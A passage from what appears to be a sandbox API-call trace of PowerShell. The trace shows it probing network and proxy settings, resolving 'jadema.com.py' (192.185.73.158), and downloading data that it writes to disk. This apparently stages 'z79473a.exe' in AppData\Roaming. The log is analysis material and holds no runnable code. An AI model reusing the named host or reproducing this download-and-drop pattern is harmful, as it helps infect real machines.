"c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c99e170 | out: lpFileInformation=0x1c99e170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0048.658] SetErrorMode (uMode=0x1) returned 0x1 [0048.658] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", nBufferLength=0x105, lpBuffer=0x1c99df10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe", lpFilePart=0x0) returned 0x2d [0048.665] SetErrorMode (uMode=0x1) returned 0x1 [0048.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c99e170 | out: lpFileInformation=0x1c99e170*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0048.665] SetErrorMode (uMode=0x1) returned 0x1 [0048.667] CoTaskMemAlloc (cb=0x104) returned 0x3d6f30 [0048.667] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3d6f30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0048.667] CoTaskMemFree (pv=0x3d6f30) [0049.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c99db70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0049.149] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c99da70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0049.152] CoTaskMemAlloc (cb=0x20c) returned 0x1ba06ea0 [0049.152] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ba06ea0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0049.157] GetCurrentProcess () returned 0xffffffffffffffff [0049.157] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99db38 | out: TokenHandle=0x1c99db38*=0x35c) returned 1 [0049.159] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c99dbe0 | out: lpFileInformation=0x1c99dbe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0049.159] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c99d730, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0049.160] GetFileSize (in: hFile=0x348, lpFileSizeHigh=0x1c99db88 | out: lpFileSizeHigh=0x1c99db88*=0x0) returned 0x65b3 [0049.160] ReadFile (in: hFile=0x348, lpBuffer=0x3d44628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c99daa8, lpOverlapped=0x0 | out: lpBuffer=0x3d44628*, lpNumberOfBytesRead=0x1c99daa8*=0x1000, lpOverlapped=0x0) returned 1 [0049.168] ReadFile (in: hFile=0x348, lpBuffer=0x3d44628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c99d788, lpOverlapped=0x0 | out: lpBuffer=0x3d44628*, lpNumberOfBytesRead=0x1c99d788*=0x1000, lpOverlapped=0x0) returned 1 [0049.169] ReadFile (in: hFile=0x348, lpBuffer=0x3d44628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c99d5d8, lpOverlapped=0x0 | out: lpBuffer=0x3d44628*, lpNumberOfBytesRead=0x1c99d5d8*=0x1000, lpOverlapped=0x0) returned 1 [0049.169] ReadFile (in: hFile=0x348, lpBuffer=0x3d44628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c99d5d8, lpOverlapped=0x0 | out: lpBuffer=0x3d44628*, lpNumberOfBytesRead=0x1c99d5d8*=0x1000, lpOverlapped=0x0) returned 1 [0049.195] GetCurrentProcess () returned 0xffffffffffffffff [0049.195] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99dd98 | out: TokenHandle=0x1c99dd98*=0x348) returned 1 [0049.195] GetCurrentProcess () returned 0xffffffffffffffff [0049.195] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99dd98 | out: TokenHandle=0x1c99dd98*=0x3a0) returned 1 [0049.195] GetCurrentProcess () returned 0xffffffffffffffff [0049.196] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99db38 | out: TokenHandle=0x1c99db38*=0x364) returned 1 [0049.196] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c99dbe0 | out: lpFileInformation=0x1c99dbe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0049.196] GetCurrentProcess () returned 0xffffffffffffffff [0049.196] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99dd98 | out: TokenHandle=0x1c99dd98*=0x360) returned 1 [0049.197] GetCurrentProcess () returned 0xffffffffffffffff [0049.197] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99dd98 | out: TokenHandle=0x1c99dd98*=0x368) returned 1 [0049.201] GetCurrentProcess () returned 0xffffffffffffffff [0049.201] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99da18 | out: TokenHandle=0x1c99da18*=0x36c) returned 1 [0049.215] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99da18 | out: TokenHandle=0x1c99da18*=0x34c) returned 1 [0049.221] GetFileType (hFile=0x3a4) returned 0x1 [0049.221] SetErrorMode (uMode=0x1) returned 0x1 [0049.221] GetFileType (hFile=0x3a4) returned 0x1 [0049.222] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x30c [0049.222] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x370 [0049.230] GetCurrentProcess () returned 0xffffffffffffffff [0049.230] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99da78 | out: TokenHandle=0x1c99da78*=0x374) returned 1 [0049.232] GetCurrentProcess () returned 0xffffffffffffffff [0049.232] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99da78 | out: TokenHandle=0x1c99da78*=0x394) returned 1 [0049.236] GetCurrentProcess () returned 0xffffffffffffffff [0049.236] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99d9b8 | out: TokenHandle=0x1c99d9b8*=0x3b4) returned 1 [0049.237] GetCurrentProcess () returned 0xffffffffffffffff [0049.237] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99d9b8 | out: TokenHandle=0x1c99d9b8*=0x3b8) returned 1 [0049.239] GetCurrentProcess () returned 0xffffffffffffffff [0049.239] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99dff8 | out: TokenHandle=0x1c99dff8*=0x3bc) returned 1 [0049.244] CoTaskMemAlloc (cb=0xcd0) returned 0x1ba339c0 [0049.245] RasEnumConnectionsW (in: param_1=0x1ba339c0, param_2=0x1c99e04c, param_3=0x1c99e048 | out: param_1=0x1ba339c0, param_2=0x1c99e04c, param_3=0x1c99e048) returned 0x0 [0049.248] CoTaskMemFree (pv=0x1ba339c0) [0049.251] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c99de58 | out: lpWSAData=0x1c99de58) returned 0 [0049.259] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x40c [0049.263] setsockopt (s=0x40c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0049.263] closesocket (s=0x40c) returned 0 [0049.263] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x40c [0049.265] setsockopt (s=0x40c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0049.265] closesocket (s=0x40c) returned 0 [0049.270] GetCurrentProcess () returned 0xffffffffffffffff [0049.270] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99d6d8 | out: TokenHandle=0x1c99d6d8*=0x40c) returned 1 [0049.279] GetCurrentProcess () returned 0xffffffffffffffff [0049.280] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99d6d8 | out: TokenHandle=0x1c99d6d8*=0x410) returned 1 [0049.287] GetCurrentProcessId () returned 0xa00 [0049.293] CoTaskMemAlloc (cb=0x204) returned 0x394670 [0049.293] GetComputerNameW (in: lpBuffer=0x394670, nSize=0x307ff50 | out: lpBuffer="YKYD69Q", nSize=0x307ff50) returned 1 [0049.294] RegQueryValueExW (in: hKey=0x414, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c99db40, lpData=0x1c99db3c, lpcbData=0x1c99db38*=0x4 | out: lpType=0x1c99db40*=0x4, lpData=0x1c99db3c*=0x1, lpcbData=0x1c99db38*=0x4) returned 0x0 [0049.294] RegQueryValueExW (in: hKey=0x414, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c99db3c, lpData=0x0, lpcbData=0x1c99db38*=0x0 | out: lpType=0x1c99db3c*=0x4, lpData=0x0, lpcbData=0x1c99db38*=0x4) returned 0x0 [0049.294] RegQueryValueExW (in: hKey=0x414, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c99db40, lpData=0x1c99db3c, lpcbData=0x1c99db38*=0x4 | out: lpType=0x1c99db40*=0x4, lpData=0x1c99db3c*=0x137a, lpcbData=0x1c99db38*=0x4) returned 0x0 [0049.297] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0049.299] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c99dab0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x418 [0049.300] VirtualQuery (in: lpAddress=0x2b90000, lpBuffer=0x1c99daa8, dwLength=0x30 | out: lpBuffer=0x1c99daa8*(BaseAddress=0x2b90000, AllocationBase=0x2b90000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0049.300] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3083ec8, cbSid=0x1c99da90 | out: pSid=0x3083ec8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da90) returned 1 [0049.302] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x1f4) returned 0x0 [0049.302] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30843e8, cbSid=0x1c99d9f0 | out: pSid=0x30843e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99d9f0) returned 1 [0049.303] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x30853e8, cbSid=0x1c99da90 | out: pSid=0x30853e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da90) returned 1 [0049.303] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3086208, cbSid=0x1c99da90 | out: pSid=0x3086208*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da90) returned 1 [0049.303] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3087020, cbSid=0x1c99da90 | out: pSid=0x3087020*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da90) returned 1 [0049.304] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3087e30, cbSid=0x1c99da90 | out: pSid=0x3087e30*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da90) returned 1 [0049.304] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3088c40, cbSid=0x1c99da40 | out: pSid=0x3088c40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da40) returned 1 [0049.304] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3089a68, cbSid=0x1c99da40 | out: pSid=0x3089a68*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da40) returned 1 [0049.304] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x308a860, cbSid=0x1c99da40 | out: pSid=0x308a860*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da40) returned 1 [0049.304] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x308b668, cbSid=0x1c99da40 | out: pSid=0x308b668*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da40) returned 1 [0049.305] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x308c468, cbSid=0x1c99da40 | out: pSid=0x308c468*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c99da40) returned 1 [0049.306] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x414 [0049.306] ioctlsocket (in: s=0x414, cmd=-2147195266, argp=0x1c99e078 | out: argp=0x1c99e078) returned 0 [0049.307] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x420 [0049.307] ioctlsocket (in: s=0x420, cmd=-2147195266, argp=0x1c99e078 | out: argp=0x1c99e078) returned 0 [0049.307] WSAIoctl (in: s=0x414, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c99dff0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c99dff0, lpOverlapped=0x0) returned -1 [0049.309] WSAEventSelect (s=0x414, hEventObject=0x41c, lNetworkEvents=512) returned 0 [0049.309] WSAIoctl (in: s=0x420, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c99dff0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c99dff0, lpOverlapped=0x0) returned -1 [0049.309] CoTaskMemAlloc (cb=0x204) returned 0x394460 [0049.309] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x394460, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0049.309] WSAEventSelect (s=0x420, hEventObject=0x424, lNetworkEvents=512) returned 0 [0049.309] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x428, param_3=0x3) returned 0x0 [0049.312] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c99e130 | out: phkResult=0x1c99e130*=0x440) returned 0x0 [0049.313] RegNotifyChangeKeyValue (hKey=0x444, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x448, fAsynchronous=1) returned 0x0 [0049.313] RegNotifyChangeKeyValue (hKey=0x44c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x450, fAsynchronous=1) returned 0x0 [0049.313] RegNotifyChangeKeyValue (hKey=0x454, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x458, fAsynchronous=1) returned 0x0 [0049.325] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c99e078 | out: pProxyConfig=0x1c99e078) returned 1 [0049.372] SetEvent (hEvent=0x30c) returned 1 [0049.383] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c99df50 | out: ppwstrAutoConfigUrl=0x1c99df50*=0x0) returned 0 [0051.931] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1c99df50 | out: ppwstrAutoConfigUrl=0x1c99df50*=0x0) returned 0 [0054.927] GetCurrentProcess () returned 0xffffffffffffffff [0054.927] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99d7e8 | out: TokenHandle=0x1c99d7e8*=0x4d8) returned 1 [0054.930] GetCurrentProcess () returned 0xffffffffffffffff [0054.930] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c99d7e8 | out: TokenHandle=0x1c99d7e8*=0x4d0) returned 1 [0054.932] SetEvent (hEvent=0x30c) returned 1 [0054.939] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c99dcb8 | out: pFixedInfo=0x0, pOutBufLen=0x1c99dcb8) returned 0x6f [0055.110] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x354300 [0055.110] GetNetworkParams (in: pFixedInfo=0x354300, pOutBufLen=0x1c99dcb8 | out: pFixedInfo=0x354300, pOutBufLen=0x1c99dcb8) returned 0x0 [0055.120] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0055.120] CoTaskMemFree (pv=0x1ba441a0) [0055.123] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e0 [0055.124] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4dc [0055.125] getaddrinfo (in: pNodeName="jadema.com.py", pServiceName=0x0, pHints=0x1c99dc60*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c99dc58 | out: ppResult=0x1c99dc58*=0x1ba3a8a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="jadema.com.py", ai_addr=0x1ba44240*(sa_family=2, sin_port=0x0, sin_addr="192.185.73.158"), ai_next=0x0)) returned 0 [0056.362] CoTaskMemFree (pv=0x1ba441a0) [0056.362] CoTaskMemFree (pv=0x0) [0056.363] FreeAddrInfoW (pAddrInfo=0x1ba3a8a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="慪敤慭挮浯瀮y", ai_addr=0x1ba44240*(sa_family=2, sin_port=0x0, sin_addr="192.185.73.158"), ai_next=0x0)) [0056.364] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4ec [0056.364] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0056.364] ioctlsocket (in: s=0x4ec, cmd=-2147195266, argp=0x1c99dc78 | out: argp=0x1c99dc78) returned 0 [0056.364] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f4 [0056.365] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0056.365] ioctlsocket (in: s=0x4f4, cmd=-2147195266, argp=0x1c99dc78 | out: argp=0x1c99dc78) returned 0 [0056.365] WSAIoctl (in: s=0x4ec, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c99dbf0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c99dbf0, lpOverlapped=0x0) returned -1 [0056.365] CoTaskMemAlloc (cb=0x204) returned 0x394460 [0056.365] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x394460, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0056.365] CoTaskMemFree (pv=0x394460) [0056.365] WSAEventSelect (s=0x4ec, hEventObject=0x4d4, lNetworkEvents=512) returned 0 [0056.365] WSAIoctl (in: s=0x4f4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c99dbf0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c99dbf0, lpOverlapped=0x0) returned -1 [0056.365] CoTaskMemAlloc (cb=0x204) returned 0x394460 [0056.365] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x394460, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0056.365] CoTaskMemFree (pv=0x394460) [0056.365] WSAEventSelect (s=0x4f4, hEventObject=0x4f8, lNetworkEvents=512) returned 0 [0056.367] GetAdaptersAddresses () returned 0x6f [0056.370] LocalAlloc (uFlags=0x0, uBytes=0xbe8) returned 0x1ba4a6a0 [0056.370] GetAdaptersAddresses () returned 0x0 [0056.376] LocalFree (hMem=0x1ba4a6a0) returned 0x0 [0056.378] WSAConnect (in: s=0x4e0, name=0x3097e48*(sa_family=2, sin_port=0x50, sin_addr="192.185.73.158"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0056.650] closesocket (s=0x4dc) returned 0 [0056.745] send (in: s=0x4e0, buf=0x3099690*, len=120, flags=0 | out: buf=0x3099690*) returned 120 [0056.746] setsockopt (s=0x4e0, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0056.747] recv (in: s=0x4e0, buf=0x3094388, len=4096, flags=0 | out: buf=0x3094388*) returned 4096 [0056.970] setsockopt (s=0x4e0, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0 [0056.970] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 9044 [0056.971] WriteFile (in: hFile=0x3a4, lpBuffer=0x30aaaf0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c99e228, lpOverlapped=0x0 | out: lpBuffer=0x30aaaf0*, lpNumberOfBytesWritten=0x1c99e228*=0x1000, lpOverlapped=0x0) returned 1 [0056.972] WriteFile (in: hFile=0x3a4, lpBuffer=0x309ab14*, nNumberOfBytesToWrite=0x2278, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309ab14*, lpNumberOfBytesWritten=0x1c99e288*=0x2278, lpOverlapped=0x0) returned 1 [0056.972] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 3472 [0057.271] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 43248 [0057.271] WriteFile (in: hFile=0x3a4, lpBuffer=0x30aaaf0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c99e228, lpOverlapped=0x0 | out: lpBuffer=0x30aaaf0*, lpNumberOfBytesWritten=0x1c99e228*=0x1000, lpOverlapped=0x0) returned 1 [0057.272] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aca8*, nNumberOfBytesToWrite=0xa680, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aca8*, lpNumberOfBytesWritten=0x1c99e288*=0xa680, lpOverlapped=0x0) returned 1 [0057.272] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 3472 [0057.416] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 12588 [0057.416] WriteFile (in: hFile=0x3a4, lpBuffer=0x30aaaf0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c99e228, lpOverlapped=0x0 | out: lpBuffer=0x30aaaf0*, lpNumberOfBytesWritten=0x1c99e228*=0x1000, lpOverlapped=0x0) returned 1 [0057.416] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aca8*, nNumberOfBytesToWrite=0x2ebc, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aca8*, lpNumberOfBytesWritten=0x1c99e288*=0x2ebc, lpOverlapped=0x0) returned 1 [0057.416] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 8760 [0057.416] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0x2238, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0x2238, lpOverlapped=0x0) returned 1 [0057.417] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 61320 [0057.929] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, nNumberOfBytesToWrite=0xef88, lpNumberOfBytesWritten=0x1c99e288, lpOverlapped=0x0 | out: lpBuffer=0x309aa38*, lpNumberOfBytesWritten=0x1c99e288*=0xef88, lpOverlapped=0x0) returned 1 [0057.930] recv (in: s=0x4e0, buf=0x309aa38, len=65536, flags=0 | out: buf=0x309aa38*) returned 8760 [0057.930] WriteFile (in: hFile=0x3a4, lpBuffer=0x309aa38*, 